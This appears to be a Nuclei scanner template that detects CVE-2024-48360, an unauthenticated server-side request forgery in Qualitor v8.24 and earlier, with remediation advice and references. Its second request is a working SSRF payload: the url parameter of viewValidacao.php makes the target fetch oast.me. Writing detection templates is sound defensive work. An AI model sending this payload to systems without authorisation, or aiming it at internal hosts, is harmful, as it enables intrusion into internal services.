id: CVE-2024-48360

info:
  name: Qualitor <= v8.24 - Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    Qualitor v8.24 was discovered to contain a Server-Side Request Forgery (SSRF) via the component /request/viewValidacao.php.
  impact: |
    Unauthenticated attackers can force the server to make arbitrary requests via SSRF, potentially accessing internal services.
  remediation: |
    Update Qualitor to a version later than 8.24 that patches the SSRF vulnerability.
  reference:
    - https://github.com/OpenXP-Research/CVE-2024-48360
    - https://packetstormsecurity.com/files/182427/Qualitor-8.24-Server-Side-Request-Forgery.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48360
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-48360
    cwe-id: CWE-918
    epss-score: 0.03905
    epss-percentile: 0.88921
  metadata:
    verified: true
    max-request: 2
    vendor: qualitor
    product: qualitor
    fofa-query: icon_hash="-1217039701"
  tags: cve,cve2024,ssrf,qualitor,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "qualitor")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /html/ad/adformmobile/request/viewValidacao.php?url=oast.me HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210093c9fb19fc4c520660332bf3fe209530ffafea3d88d0f5d0cb38c74f0957b984022100849e5564620369c1720bef50f887dd6ac7a0336d68491d0e57ce4e1d3a8b2446:922c64590222798bb761d5b6d8e72950